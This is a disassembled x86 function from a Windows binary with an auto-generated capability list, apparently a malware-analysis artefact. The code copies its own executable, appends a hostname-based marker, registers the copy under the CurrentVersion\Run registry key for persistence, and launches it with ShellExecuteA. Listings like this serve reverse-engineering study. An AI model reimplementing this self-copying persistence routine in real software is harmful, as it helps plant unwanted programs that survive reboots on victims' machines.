Function at 0x403f70
Capabilities:
Copy file
Create process on windows
Get hostname
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0xae0
lea eax, [esp + 0x1d8]
push ebx
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
or ecx, 0xffffffff
xor eax, eax
mov edi, dword [esp + 0xaf0]
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4282bc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [0x429ee0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.004166cb
lea ecx, [esp + 0x1e8]
push ecx
call fcn.004166cb
add esp, 8
lea esi, [esp + 0x14]
lea eax, [esp + 0x1e4]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x40405e
test cl, cl
je 0x40405a
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x40405e
add eax, 2
add esi, 2
test cl, cl
jne 0x404036
xor eax, eax
jmp 0x404063
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x404073
pop edi
pop esi
pop ebx
add esp, 0xae0
ret 4
lea eax, [esp + 0x14]
push 0
lea ecx, [esp + 0x1e8]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
jne 0x404098
pop edi
pop esi
pop ebx
add esp, 0xae0
ret 4
lea edx, [esp + 0x14]
push 0x4282b8
push edx
xor ebx, ebx
call fcn.00409199
mov esi, eax
add esp, 8
test esi, esi
je 0x404119
or edi, 0xffffffff
push 2
push edi
push esi
call fcn.004090af
push esi
call fcn.00409abe
add esp, 0x10
cmp al, 0xaa
jne 0x4040d9
sub edi, 0x32
add ebx, 0x32
cmp edi, 0xfffff82f
jg 0x4040b5
mov edi, ebx
push 2
neg edi
push edi
push esi
call fcn.004090af
push esi
push 1
lea eax, [esp + 0x300]
push ebx
push eax
call fcn.00408f98
push 2
push edi
push esi
call fcn.004090af
push esi
call fcn.0040993b
mov ecx, dword [esi + 0x10]
push eax
push ecx
call fcn.004097bd
push esi
call fcn.00408f1b
add esp, 0x38
lea edx, [esp + 0x10]
lea eax, [esp + 0x180]
push edx
push eax
mov dword [esp + 0x18], 0x64
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x11c]
push eax
rep stosd dword es:[edi], eax
call fcn.004096e1
push eax
call fcn.004096b2
add esp, 8
call fcn.004096bf
push eax
call fcn.004096bf
lea ecx, [esp + 0x184]
push eax
push ecx
lea edx, [esp + 0x128]
push str._s__04X_04X
push edx
call fcn.00408d0e
lea edi, [esp + ebx + 0x300]
mov ecx, 0xc
lea esi, [esp + 0x130]
mov byte [esp + 0x161], 0xaa
rep movsd dword es:[edi], dword [esi]
add esp, 0x14
lea eax, [esp + 0xc]
movsw word es:[edi], word [esi]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysStringLen
call esi
lea ecx, [esp + 0x14]
push ecx
call fcn.00409667
mov ecx, dword [esp + 0x10]
add esp, 4
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [esp + 0x14]
push eax
mov eax, dword [0x429ee0]
push edx
push 1
push 0
push eax
push ecx
call edi
lea edx, [esp + 0xc]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call esi
lea eax, [esp + 0x14]
push eax
call fcn.00409667
mov edx, dword [0x429ee0]
add esp, 4
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x10]
push ecx
push 1
push 0
push edx
push eax
call edi
lea ecx, [esp + 0x14]
push 0x4282b8
push ecx
call fcn.00409199
add esp, 8
mov esi, eax
test esi, esi
je 0x40425f
push 2
push 0
push esi
call fcn.004090af
push esi
add ebx, 0x32
push 1
lea edx, [esp + 0x300]
push ebx
push edx
call fcn.00408de2
push esi
call fcn.00408f1b
add esp, 0x20
push 5
push 0
lea eax, [esp + 0x1c]
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
add esp, 0xae0
ret 4